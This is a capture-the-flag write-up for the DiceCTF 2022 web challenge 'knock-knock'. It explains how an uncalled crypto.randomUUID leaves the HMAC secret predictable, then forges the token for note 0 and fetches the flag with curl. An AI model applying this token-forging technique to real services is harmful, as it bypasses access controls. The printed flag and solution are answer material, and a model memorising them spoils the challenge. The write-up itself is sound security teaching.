Knock Knock (DiceCTF 2022)

nameknock-knock
categoryweb
platformn/a
linkhttps://ctf.dicega.ng
ctfDiceCTF 2022
descriptionn/a

Navigating to the web app knock-knock.mc.ax we see a simple form with a textbox. Dockerfile and index.js, which is basically the server, is given. It’s a simple web app.

application logic

Sending a POST request to /create like so:

POST /create HTTP/2
Host: knock-knock.mc.ax
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: https://knock-knock.mc.ax
Referer: https://knock-knock.mc.ax/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

data=abcd

HTTP/2 302 Found
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Feb 2022 10:14:59 GMT
Location: /note?id=785&token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a
Vary: Accept
X-Powered-By: Express
Content-Length: 218

<p>Found. Redirecting to <a href="/note?id=785&amp;token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a">/note?id=785&amp;token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a</a></p>

stores the value abcd in an array called notes and generates a HMAC token with which we can later retrieve this note. Keep in mind, each time a POST request like the above is sent to the web app, a new token is generated and we can retrieve only that note with it. An id is also assigned to the note upon creation which is basically a sequential identifier. This id is shown to us in the 302 redirect that comes after we send the POST request.

Retrieving a note is done by sending a GET request to /note with the id and token of the note as parameters.

GET /note?id=785&token=7e5594a47aca2fa0692275a815f269745972b03fa64cd0917b548b421394f44a HTTP/2
Host: knock-knock.mc.ax
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: https://knock-knock.mc.ax
Referer: https://knock-knock.mc.ax/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Feb 2022 10:34:19 GMT
Etag: W/"4-gf6L/odXbD7LIkJvjleEc4KRes8"
X-Powered-By: Express
Content-Length: 4

abcd

source code analysis

Looking closely at the code, we see this

const db = new Database();
db.createNote({ data: process.env.FLAG });

This is what createNote() looks like

createNote({ data }) {
  const id = this.notes.length;
  this.notes.push(data);
  return {
    id,
    token: this.generateToken(id),
  };
}

This means that when the app is run, right after db is initalized, createNode() is run with the environment variable FLAG (the flag we need) as an argument. So, clearly the first element in the notes array (index 0) contains the flag that we need.

So now we know the index at which our flag is present. What remains is the HMAC token. Let’s take a look at the generateToken() function.

generateToken(id) {
  return crypto
    .createHmac('sha256', this.secret)
    .update(id.toString())
    .digest('hex');
}

Essentially, it creates a HMAC object with the key this.secret and later updates the content of the HMAC with the id and returns the hash. The initialization of this.secret looks interesting

class Database {
  constructor() {
    this.notes = [];
    this.secret = `secret-${crypto.randomUUID}`;
  }

The crypto.randomUUID() function is called without the parantheses which should not work. Let’s modify index.js to see what this.secret contains. We could do this in a node interpreter, but I just decided to use Docker.

  createNote({ data }) {
++  console.log('this.secret: ', this.secret)
    const id = this.notes.length;
    this.notes.push(data);
    return {
      id,
      token: this.generateToken(id),
    };
  }

Build the image and run a container

> docker build -t knock-knock .
> docker run knock-knock
this.secret:  secret-function randomUUID(options) {
  if (options !== undefined)
    validateObject(options, 'options');
  const {
    disableEntropyCache = false,
  } = options || {};

  validateBoolean(disableEntropyCache, 'options.disableEntropyCache');

  return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();
}

This is interesting. It looks like we just get the function definition of randomUUID() appended to the secret key and not an actual random UUID. This means the this.secret key is same for all the notes, including the flag at index 0!

exploitation

Since the flag is the first note to be created, we can get the token of the flag by making a small change in index.js and building and running the container.

  createNote({ data }) {
    const id = this.notes.length;
    this.notes.push(data);
++  console.log(this.generateToken(id));
    return {
      id,
      token: this.generateToken(id),
    };
  }
$ docker build -t knock-knock .
$ docker run knock-knock
7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
listening on port 3000

Got the token: 7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264.
We can now get the flag with this token and id as 0.

> curl -k 'https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264' 
dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}

Flag: dice{1_d00r_y0u_d00r_w3_a11_d00r_f0r_1_d00r}